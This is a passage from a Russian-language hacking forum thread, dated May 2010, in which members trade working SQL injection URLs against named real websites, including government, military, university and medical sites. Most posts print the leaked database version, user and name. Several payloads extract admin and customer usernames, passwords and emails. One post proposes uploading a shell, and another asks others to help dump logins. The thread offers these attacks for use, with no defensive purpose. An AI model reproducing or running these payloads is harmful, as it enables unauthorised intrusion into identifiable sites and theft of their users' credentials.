SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. BaleHoK

    BaleHoK Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    399
    Likes Received:
    21
    Reputations:
    10
    www.conceptsport.co.uk/events.php?pid=-1111 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15--

    www.rockcard.co.uk/choose_size.php?cid=-95 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14--

    www.viewfinderphotography.co.uk/product.php?cid=-1 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12--

    thefishy.co.uk/story.php?id=-8420104 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
     
    #12121 BaleHoK, 20 May 2010
    Last edited: 20 May 2010
    1 person likes this.
  2. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.rukhnet.com/index.php?subid=-0000+union+select+concat(version(),user(),database()),2,3,4,5,6,7+from+information_schema.tables--
    Version:5.0.90-community
    User: logrukhnetc_diradmi@localhost
    Database: rukhnetc_directory
     
  3. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    http://www.rhc.org.za/news.php?id=-1+union+select+1,2,3,4,version(),6,7,8/*
     
  4. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    http://www.volunteerfalkirk.org.uk/news.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('tblOrgAims'))--

    http://www.metafix.co.uk/Scripts/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('dtproperties')--

    http://www.rockhill.ie/gallery/index.asp?ID=1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+char(78)%2Bchar(101) %2Bchar(119) %2Bchar(115) %2Bchar(108) %2Bchar(101) %2Bchar(116) %2Bchar(116) %2Bchar(101) %2B char(114) %2Bchar(80) %2Bchar(114) %2Bchar(101) %2Bchar(112) %2B char(97) %2Bchar(114) %2Bchar(101) %2Bchar(100) %2Bchar(69) %2B char(109) %2Bchar(97) %2Bchar(105) %2Bchar(108) %2Bchar(115))&page=7

    http://www.bradfordchamber.co.uk/news.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char%2884%29%2Bchar%28105%29%2Bchar%2899%29%2Bchar%28107%29%2Bchar%2878%29%2Bchar%28101%29%2Bchar%28119%29%2Bchar%28115%29%29%29--

    http://www.retention.se/news.asp?id=1+SELECT+*+from+ adminuser +group+by+adminuser.userid+having+1=1#&pg=1
     
    1 person likes this.
  5. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.accomplishmanagement.co.uk/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6,7/*
    User: web148u1@localhost
    Version: 5.0.32-Debian_7etch8-log
    Database: web148db1

    Code:
    http://www.samsport.ie/news.php?id=999999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6--
    User: ssport_usr@localhost
    Version: 5.0.51a-community
    Database: samsport_db

    Code:
    http://www.klangwald.de/main/shop_details.php?id=99999+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4/*
    User: TE@localhost
    Version: 4.0.17-nt
    Database: klangwald

    Code:
    http://www.coffeytalk.com/product_details.php?id=-170+union+select+1,2,3,concat_ws(0x3b,%20user(),database(),version()),5,6,7,8--
    User: $coffey1@localhost
    Version: 5.0.90-community
    Database: coffey1_BlogNEW

    Code:
    http://reklama.vladinvest.ru/print_news.php?id=-5+union+select+1,2,concat_ws(0x3b,%20user(),database(),version()),4/*
    User: [email protected]
    Version: 4.1.22
    Database: vladinvestru2

    Code:
    http://lingvistschool.kiev.ua/news_ukr.php/news.php/forum/print/print_page_ukr.php?id=99999+union+select+1,concat_ws(0x3b,%20user(),database(),version()),3,4,5,6--
    User: 1.u_lingvistsc@localhost
    Version: 5.0.44.3
    Database: lingvistscho

    Code:
    http://www.euroforgings.com/shop2.php?id=-99999999+union+select+1,concat_ws(0x3a%20,user(),database(),version()),3,4,5/*
    User: euroforg_root@localhost
    Version: 4.1.22-standard
    Database: euroforg_alku2
     
    2 people like this.
  6. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.ideja.edu.lv/index.php?content_id=-8+union+select+1,2,concat_ws(char(32),user(),version(),database(),@@version_compile_os),4,5,6,7,8,9,10,11+from+information_schema.tables--
     
    _________________________
    2 people like this.
  7. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    В преддверии игры сборной России по хоккею против Канады :)

    Code:
    http://[COLOR=White]www[/COLOR].[COLOR=Red]thelamp[/COLOR].[COLOR=White]ca[/COLOR]/film/index.php?id=27+union+select+1,2,concat_ws(0x3a,version(),da tabase(),user())%20,4,5,6,7,8,9--
    Version : 5.1.39-log
    Database : lamp
    User : [email protected]
    OS : pc-linux-gnu


    -----------------------------------------------------------


    Code:
    http://[COLOR=Red]youthscienceforum[/COLOR].[COLOR=White]ca[/COLOR]/view.php?id=17+and+1=2+union+select+1,2,3,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),d atabase(),user()),0x71),0x71),5,6--
    Version : 5.0.19-standard
    Database : youthscienceforum
    User : [email protected]
    OS : apple-darwin8.2.1 :)
     
    5 people like this.
  8. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.igert.neu.edu/profile.php?pid=-16+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12


    Database Version: 5.0.77-log
    Database name: igert
    User name: igert@localhost
     
    2 people like this.
  9. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    http://www.rom.on.ca/programs/lectures/index.php?ref=showinfo&program_id=-5507+UNION+SELECT+1,GROUP_CONCAT(AES_DECRYPT(AES_ENCRYPT(COLUMN_NAME,1),1)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='romcart_users'%23
     
    3 people like this.
  10. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.uk.playright.dk/firma.php?id=-14+union+select+1,concat(user,char(58),password),3,4,5,6,7,8,9,10,11,12+from+mysql.user
     
    _________________________
    2 people like this.
  11. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    Code:
    http://myaso-portal.ru/news_records_view.php?id=-3458+and+1=2+union+select+1,concat_ws(0x3a,user,pass),3,4,5,6,7,8,9,10+from+userlist+limit+1,1--
    http://myaso-portal.ru/admin/
    можно попробовать залить шелл
     
    2 people like this.
  12. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    MS_access

    http://www.ohiocampuscompact.org/page.cfm?ID=-181+union+select+1,2,3,4,5,6,7,8,9+from+pagetext1

    PR-5

    ---------------------------------------------
    http://www.jnht.com/heritage_site.php?id=-289+union+select+1,2,concat_ws(user(),version(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17--

    PR-6

    ---------------------------------------------
    http://www.sadarvuga.com/php/project.php?id=-59+union+select+0,group_concat(username,char(58),password)+from+users

    PR-4
    --------------------------------------------

    http://www.gemidiriya.com/news_view.php?record_id=-1+union+select+1,2,aes_decrypt(aes_encrypt(concat_ws(char(32),user(),version(),database(),@@version_compile_os,@@datadir),1),1),group_concat(table_name),5,6+from+information_schema.tables+where+table_schema=CHAR(103,97,109,97,110,101,103,95,119,101,98,100,98)

    PR-4
    -------------------------------------------
    http://www.buyabans.com/subcats.php?range_id=2&cat_id=-25+union+select+concat_ws(user(),version(),database(),@@version_compile_os)&subcat_id=41

    PR-5
     
    _________________________
    #12132 Konqi, 21 May 2010
    Last edited: 22 May 2010
    2 people like this.
  13. daniel_1024

    daniel_1024 Elder - Старейшина

    Joined:
    15 Jul 2009
    Messages:
    260
    Likes Received:
    227
    Reputations:
    386
    PR 6
    ТИЦ 110

    Version = 4.1.20
    Current User = libsites@localhost
    Current Database = ecoculture_db01


    PR 6
    ТИЦ 40


    Version = 5.1.37-1ubuntu5.1
    Current User = root@localhost
    Current Database = vmo_db01


    PR 5
    ТИЦ 120

    Version = 5.0.90-community
    Current User = radiotec_raduser@localhost
    Current Database = radiotec_mainbase


    PR 5
    Version = 5.1.42
    Powered by = PHP/5.3.1
    Current User = webmysql@localhost
    Current Database = dbase_tsunami


    PR 8
    Version = 5.0.85-log
    Powered by = PHP/5.2.13
    Current User = polimi@localhost
    Current Database = polimi
     
    #12133 daniel_1024, 22 May 2010
    Last edited: 22 May 2010
    3 people like this.
  14. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    Сайт: http://iksz.hu
    ТИЦ: 0
    PR: 4
    Пример запроса:
    Code:
    http://iksz.hu/rateit.php?id=999'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.81-log
    user - [email protected]
    database - iksznews
    os - portbld-freebsd7.0

    ============================================

    Сайт: http://jjc.yangtzeu.edu.cn
    ТИЦ: 0
    PR: 4
    Примеры запросов:
    Code:
    http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7--+  
    
    http://jjc.yangtzeu.edu.cn/list.php?typeid=-2+union+select+1,2,group_concat(uname,0x3a,pwd,0x3a,email),4,5,6,7+from+jjc_admin--+
    version - 5.0.45-community-nt-log
    user - root@localhost
    database - jjc
    os - Win32

    ============================================

    Сайт: http://www.stedenbandeindhoven.nl
    ТИЦ: 0
    PR: 4
    Пример запроса:
    Code:
    http://www.stedenbandeindhoven.nl/module.php?ID=68+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.81-log
    user - chinandega_u@localhost
    database - chinandega_splace
    os - pc-linux-gnu

    ============================================

    Сайт: http://www.countryclub.at
    ТИЦ: 10
    PR: 3
    Пример запроса:
    Code:
    http://www.countryclub.at/v2/module.php?id=-42'+union+select+1,2,3,4,5,6,7,8,9,10,11,group_concat(0x0b,username,0x3a,password),concat_ws(0x0b,version(),user(),database(),@@version_compile_os),14,15,16,17,18,19+from+access--+
    version - 5.0.45
    user - countryclub_at@localhost
    database - countryclub_at_-_db1
    os - redhat-linux-gnu

    ============================================

    Сайт: http://www.imaculadanet.com.br
    ТИЦ: 0
    PR: 1
    Пример запроса:
    Code:
    http://www.imaculadanet.com.br/site/eventos.php?id=-7+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,table_name),5,6+from+information_schema.tables--+
    version - 5.0.51a-24+lenny3-log
    user - site_www@localhost
    database - www
    os - debian-linux-gnu

    ============================================

    Сайт: http://xcc.paragliding.pl
    ТИЦ: 0
    PR: 1
    Примеры запросов:
    Code:
    http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--+  
    
    http://xcc.paragliding.pl/module.php?id=26&contest=PL&l=pl&date=20090606&competitorid=-100964+union+select+1,2,3,4,group_concat(0x0b,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.columns+where+table_name=0x70687062625F7573657273--+
    version - 5.0.26
    user - web16@localhost
    database - xcc_2009
    os - suse-linux-gnu

    ============================================

    Сайт:
    Code:
    http://www.ondernemersparlement.nl  
    он же  
    http://www.onlineparlement.nl  
    он же  
    http://www.webocratics.com
    ТИЦ: 0
    PR: 0
    Примеры запросов:
    Code:
    http://www.ondernemersparlement.nl/module.php?ID=5180+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+  
    
    http://www.onlineparlement.nl/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+  
    
    http://www.webocratics.com/module.php?ID=999+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.81-log
    user - webocratic_u@localhost
    database - webocratic_splace
    os - pc-linux-gnu

    ============================================

    Сайт: http://www.terranet-berlin.de
    ТИЦ: 0
    PR: 0
    Пример запроса:
    Code:
    http://www.terranet-berlin.de/dias/module.php?id=-44+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),6,7,8,9--+
    version - 4.0.27-max-log
    user - [email protected]
    database - db128602669
    os - pc-linux-gnu

    ============================================

    Сайт: http://www.beoordeelmijndocent.nl
    ТИЦ: 0
    PR: 0
    Пример запроса:
    Code:
    http://www.beoordeelmijndocent.nl/module.php??moduleID=77&menuID=1913+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.32-Debian_7etch12-log
    user - bmd@localhost
    database - bmd
    os - pc-linux-gnu

    ============================================

    Сайт: http://data.weetmeer.nl
    ТИЦ: 0
    PR: ?
    Пример запроса:
    Code:
    http://data.weetmeer.nl/module.php?ID=68565+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.81-log
    user - weetmeer_beta@localhost
    database - weetmeer_beta
    os - pc-linux-gnu

    ============================================

    Сайт: http://ifs.rz.tu-bs.de
    ТИЦ: 0
    PR: ?
    Пример запроса:
    Code:
    http://ifs.rz.tu-bs.de/module.php?id=49&action=download&fileid=-18'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.45
    user - de@localhost
    database - de
    os - redhat-linux-gnu
     
    2 people like this.
  15. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Министерство связи и информатизации республики Беларусь
    http://www.mpt.gov.by/new/modules/fotoar/index.php?sub&id=13+and+substring(version(),1,1)=4
    Четвертая версия мускула, на union фильтр
     
    3 people like this.
  16. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    Сайт: http://www.informatikcenter.de
    ТИЦ: 10
    PR: 3
    Пример запроса:
    Code:
    http://www.informatikcenter.de/redaktion/download.php?id=57'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+&type=file
    version - 5.0.51a-24+lenny3
    user - IN-06030001@localhost
    database - IN-06030001
    os - debian-linux

    ============================================

    Сайт: http://www.oldrelics.com
    ТИЦ: 0
    PR: 3
    Пример запроса:
    Code:
    http://www.oldrelics.com/cms.php?id=-6+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),group_concat(0x0b,login_id,0x3a,password)+from+relics_admin--+
    version - 5.0.91-log
    user - [email protected]
    database - custom_new
    os - unknown-linux-gnu

    ============================================

    Сайт: http://www.pmaoakridge.com
    ТИЦ: 0
    PR: 3
    Пример запроса:
    Code:
    http://www.pmaoakridge.com/news_events_detail.php?news_events_id=-87+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,5,6--+
    version - 4.1.24-max-log
    user - [email protected]
    database - cayote55
    os - redhat-linux-gnu

    ============================================

    Сайт: http://fuchsschafzucht-wechselberg.de
    ТИЦ: 0
    PR: 1
    Пример запроса:
    Code:
    http://fuchsschafzucht-wechselberg.de/cms.php?id=5+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.32-Debian_7etch11-log
    user - [email protected]
    database - fuchsschafzucht
    os - pc-linux-gnu

    ============================================

    Сайт: http://www.kgmotorsport.com
    ТИЦ: 0
    PR: 1
    Примеры запросов:
    Code:
    http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login_id,0x3a,password,0x3a,email),5,6,7,8,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),10,11+from+sysadmin--+  
    
    http://www.kgmotorsport.com/cms.php?id=-4'+union+select+1,2,3,group_concat(0x0b,login,0x3a,password,0x3a,email),5,6,7,8,now(),10,11+from+customers--+
    version - 5.0.89-community
    user - web161-kgmotor@localhost
    database - web161-kgmotor
    os - pc-linux-gnu

    ============================================

    Сайт: http://www.chisca.ca
    ТИЦ: 0
    PR: 0
    Пример запроса:
    Code:
    http://www.chisca.ca/cms.php?id=-18'+union+select+1,2,3,4,unhex(hex(concat_ws(0x0b,version(),user(),database(),@@version_compile_os))),6,7,8,9--+
    version - 4.1.18-nt
    user - [email protected]
    database - chiscanew_71463
    os - Win32

    ============================================

    Сайт: http://www.homesurveysolutions.com
    ТИЦ: 0
    PR: 0
    Пример запроса:
    Code:
    http://www.homesurveysolutions.com/cms.php?ID=-12'+union+select+1,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),3,4,group_concat(0x0b,table_name),6,7,8,9+from+information_schema.tables--+
    version - 5.0.89-community
    user - web247-hss@localhost
    database - web247-hss
    os - pc-linux-gnu
     
    6 people like this.
  17. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    Вооруженные силы Гана

    http://www.gaf[antigoogle].mil.gh/index.php?CatId=80+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

    user() : [email protected]

    version() : 4.0.27-max-log

    database() : db156151652

    OS : pc-linux-gnu

    PR - 5

    админка
     
    _________________________
    #12137 Konqi, 24 May 2010
    Last edited: 24 May 2010
    5 people like this.
  18. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.gdnet.org/cms.php?id=conference_details&conference_id=-11%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+
    User: browse@cweb3
    Database: gdnet
    Version: 5.0.45

    Вот здесь же есть таблица с юзерами, но не могу вывести данные.
    Кто знает как вывести логин;пасс юзера напишите в ПМ.
     
    1 person likes this.
  19. aka_zver

    aka_zver Elder - Старейшина

    Joined:
    17 Sep 2009
    Messages:
    471
    Likes Received:
    330
    Reputations:
    73
    Сайт: http://www.erf.org.eg
    ТИЦ: 10
    PR: 7
    Пример запроса:
    Code:
    http://www.erf.org.eg/cms.php?id=conferences_details&conference_id=-2+union+select+1,2,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--+
    version - 4.1.20
    user - root@localhost
    database - newerf
    os - redhat-linux-gnu

    ============================================

    Сайт: http://www.code-corner.com
    ТИЦ: 0
    PR: 6
    Пример запроса:
    Code:
    http://www.code-corner.com/cms.php?id=portfolio_listing&company_category_id=-3+union+select+concat_ws(0x0b,version(),user(),database(),@@version_compile_os),2,3,4,5,6,group_concat(0x0b,username,0x3a,pass,0x3a,email),8,9,10,11,12,13,14,15+from+admin--+
    version - 5.1.41
    user - corners_corners@localhost
    database - corners_corners
    os - unknown-linux-gnu

    ============================================

    Сайт: http://english.anqahe.org
    ТИЦ: 0
    PR: 5
    Примеры запросов:
    Code:
    http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,now(),7,group_concat(0x0b,username,0x3a,pass),9,10,11,12,13+from+admin--+  
    
    http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,now(),7,group_concat(0x0b,username,0x3a,pass),9,10,11,12,13+from+users--+  
    
    http://english.anqahe.org/cms.php?id=news_details&news_id=-8+union+select+1,2,3,4,5,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),7,group_concat(0x0b,email),9,10,11,12,13+from+member--+
    version - 5.1.41
    user - anqahe_anqahe_en@localhost
    database - anqahe_anqahe_en
    os - unknown-linux-gnu

    ============================================

    Сайт: http://www.humanas.unal.edu.co
    ТИЦ: 10
    PR: 5
    Пример запроса:
    Code:
    http://www.humanas.unal.edu.co/cms.php?id=940+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.1.42-log
    user - [email protected]
    database - cms
    os - unknown-freebsd

    ============================================

    Сайт: http://www.bota.org.uk
    ТИЦ: 0
    PR: 4
    Пример запроса:
    Code:
    http://www.bota.org.uk/cms.php?id=-93'+union+select+1,2,3,concat_ws(0x0b,version(),user(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15--+
    version - 4.1.20
    user - bota@localhost
    database - bota
    os - redhat-linux-gnu

    ============================================

    Сайт: http://www.aptekaslonik.pl
    ТИЦ: 0
    PR: 4
    Пример запроса:
    Code:
    http://www.aptekaslonik.pl/index.php?c=483)+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(concat_ws(0x0b,version(),user(),database(),@@version_compile_os),floor(rand(0)*2)))--+
    version - 5.0.32-Debian_7etch8
    user - aptekaslonik@localhost
    database - aptekaslonik
    os - pc-linux-gnu

    ============================================

    Сайт: http://www.autismbuddy.com
    ТИЦ: 0
    PR: 4
    Пример запроса:
    Code:
    http://www.autismbuddy.com/cms.php?id=-2+union+select+concat_ws(0x0b,version(),user(),database(),@@version_compile_os)--+
    version - 4.1.22-standard
    user - autism_autism@localhost
    database - autism_myautismbuddy
    os - pc-linux-gnu

    ============================================

    Сайт: http://meirmedicalcenter.org
    ТИЦ: 0
    PR: 3
    Пример запроса:
    Code:
    http://meirmedicalcenter.org/cms.php?id=-8+union+select+1,group_concat(0x0b,version(),0x0b,user(),0x0b,database(),0x0b,@@version_compile_os,0x0b,admin_userid,0x3a,admin_password),3,4,5,6,7,8,9+from+tbl_admin--+
    version - 5.0.91-log
    user - [email protected]
    database - mmcdb
    os - unknown-linux-gnu
     
    2 people like this.
  20. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Сайт www.k-rabota.ru
    Code:
    http://www.k-rabota.ru/resume/index.php?id=560+and+substring%28version%28%29,1,1%29=5--+
    ===========================================
    Это Blind sql-injection

    version() - 5.1. ... (дальше не стал определять)
    user() - k-rabota@localhost
    database() - k-rabota
    os - portbld-freebsd
     
    #12140 mr.celt, 25 May 2010
    Last edited: 25 May 2010
Thread Status:
Not open for further replies.